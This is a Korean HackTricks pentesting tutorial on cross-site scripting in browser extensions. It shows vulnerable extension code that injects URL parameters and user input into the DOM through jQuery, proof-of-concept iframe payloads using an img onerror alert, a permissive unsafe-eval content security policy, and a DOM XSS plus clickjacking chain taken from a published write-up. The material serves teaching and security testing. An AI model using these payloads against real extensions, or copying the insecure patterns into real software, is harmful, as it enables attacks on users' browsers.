hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

122 lines
7.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BrowExt - XSS 예제
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>
{% endhint %}
## Iframe을 통한 교차 사이트 스크립팅 (XSS)
이 설정에서는 **콘텐츠 스크립트**가 Iframe을 인스턴스화하기 위해 구현되며, Iframe의 소스로 쿼리 매개변수가 포함된 URL을 사용합니다:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
공개적으로 접근 가능한 HTML 페이지, **`message.html`**,은 URL의 매개변수에 따라 문서 본문에 동적으로 콘텐츠를 추가하도록 설계되었습니다:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
악의적인 스크립트가 적의 페이지에서 실행되어 Iframe의 소스의 `content` 매개변수를 수정하여 **XSS 페이로드**를 도입합니다. 이는 Iframe의 소스를 업데이트하여 유해한 스크립트를 포함시킴으로써 달성됩니다:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
과도하게 허용적인 콘텐츠 보안 정책 예:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
JavaScript의 실행을 허용하여 시스템을 XSS 공격에 취약하게 만듭니다.
XSS를 유발하는 대안적인 접근 방식은 Iframe 요소를 생성하고 그 소스를 `content` 매개변수로 유해한 스크립트를 포함하도록 설정하는 것입니다:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
이 예시는 [원본 게시물 작성](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)에서 가져왔습니다.
핵심 문제는 **`/html/bookmarks.html`**에 위치한 DOM 기반 교차 사이트 스크립팅(XSS) 취약점에서 발생합니다. 문제의 JavaScript는 **`bookmarks.js`**의 일부로 아래에 자세히 설명되어 있습니다:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
이 코드 조각은 **`txtName`** 입력 필드에서 **값**을 가져오고 **문자열 연결을 사용하여 HTML을 생성**한 다음, jQuery의 `.append()` 함수를 사용하여 DOM에 추가합니다.
일반적으로 Chrome 확장의 콘텐츠 보안 정책(CSP)은 이러한 취약점을 방지합니다. 그러나 **unsafe-eval로 CSP 완화**와 jQuery의 DOM 조작 메서드 사용(이 메서드는 DOM 삽입 시 [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)에 스크립트를 전달하기 위해 [`globalEval()`](https://api.jquery.com/jquery.globaleval/)을 사용함)으로 인해 여전히 악용이 가능합니다.
이 취약점은 중요하지만, 그 악용은 일반적으로 사용자 상호작용에 의존합니다: 페이지 방문, XSS 페이로드 입력, “추가” 버튼 활성화.
이 취약점을 강화하기 위해, 두 번째 **클릭재킹** 취약점이 악용됩니다. Chrome 확장의 매니페스트는 광범위한 `web_accessible_resources` 정책을 보여줍니다:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
특히, **`/html/bookmarks.html`** 페이지는 프레이밍에 취약하여 **clickjacking**에 노출됩니다. 이 취약점은 공격자의 사이트 내에서 페이지를 프레임으로 설정하고, DOM 요소로 덮어씌워 인터페이스를 기만적으로 재설계하는 데 활용됩니다. 이 조작은 피해자가 기본 확장과 의도치 않게 상호작용하도록 이끕니다.
## References
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}